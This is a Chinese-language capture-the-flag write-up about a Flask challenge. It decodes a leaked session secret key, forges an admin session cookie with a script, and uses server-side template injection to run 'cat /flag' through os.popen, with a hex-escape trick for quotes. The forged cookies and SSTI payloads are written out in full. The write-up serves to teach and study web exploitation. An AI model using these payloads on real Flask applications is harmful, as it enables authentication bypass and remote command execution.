记一道 Flask 题目(SSTI 和 Session 伪造)
题目来源
考察内容
Flask 的模板注入和 Session 伪造
解题部分
读取 Session
打开题目,根据提示向name
进行 POST 传参,随便传一个name=123
,页面变成了:
1 | Hello,123 |
第一感觉就是 SSTI,但尝试name={{2*2}}
,name={{7+7}}
,都没有发现什么,转眼来看看 Session,一看果然有:
1 | eyJyb2xlIjp7ImlzX2FkbWluIjowLCJuYW1lIjoidGVzdCIsInNlY3JldF9rZXkiOiJWR2d4YzBCdmJtVWhjMlZEY21WMElRPT0ifX0.YpN2Ew.4qiPyZ2fTZ0rtn5PSaClWajo5IA |
一下就想到 Session 的伪造,拿脚本直接解密试试:
1 | #!/usr/bin/env python3 |
直接能得到:
1 | {'role': {'is_admin': 0, 'name': 'test', 'secret_key': 'VGgxc0BvbmUhc2VDcmV0IQ=='}} |
这直接把secret_key
给放出来了?显然是 Base64,拿来去解码,得到:
1 | Th1s@one!seCret! |
但光拿到secret_key
也不够啊,看看能不能找到其他可以利用的点,最后在根目录的响应中发现了hint: Part of the source in /source
(也可以通过 dirsearch
扫描得知,如下)
读取源码
访问/source
得到(格式化了,并去掉了一部分):
1 |
|
简单分析源码发现,我们要进入/admin
这个路由,然后伪造 Session 成为 admin,因为通过 19 和 20 代码发现这里存在 SSTI
伪造 Session
直接使用 脚本 进行伪造(key 文件的内容是 secret_key,这样写是因为直接写会让 bash 会对secret_key
产生歧义):
1 | python make.py encode -s "`cat key`" -t "{'role': {'is_admin': 1, 'name': 'test', 'secret_key': 'VGgxc0BvbmUhc2VDcmV0IQ==', 'flag': '{{config}}'}}" |
得到(每次生成的内容会有些不一样):
1 | eyJyb2xlIjp7ImZsYWciOiJ7e2NvbmZpZ319IiwiaXNfYWRtaW4iOjEsIm5hbWUiOiJ0ZXN0Iiwic2VjcmV0X2tleSI6IlZHZ3hjMEJ2Ym1VaGMyVkRjbVYwSVE9PSJ9fQ.YpN_Aw.M5za75JpmyKiqCSeK0RA8CaAK4A |
覆盖原有的 Session,访问admin
,看到:
说明 SSTI 成功了(这里也可以用{{7*7}}
来验证),现在来构造 Payload 来读取 Flag(省去了secret_key
):
1 | python make.py encode -s "`cat key`" -t '{"role": {"is_admin": 1, "name": "test", "flag": "{{config.__class__.__init__.__globals__.os.popen(\x27cat /flag\x27).read()}}"}}' |
得到:
1 | .eJwdjcEKhDAMBX9leRcVpMte-zMhW2sJ1ERMb6X_vrq3YWCYjstqRuzYKxdE9J5MdymBKFV2J7pJVNofSrUv10eah9POrPOUuL3eTz0t4cq8zcsYWCFOvB2iiJ8Vysc9QcveMMYPexcoOA.YpTOeQ.QaV7YYeoxlIVXet2n1_D3vA8UTc |
在这里题目作者说:
在构造
payload
时需要注意的是不能出现单引号,在伪造 Session 的过程中 单引号会丢失(这应该与它的加密原理有关),所以咱们可以用十六进制 \0x27
进行绕过。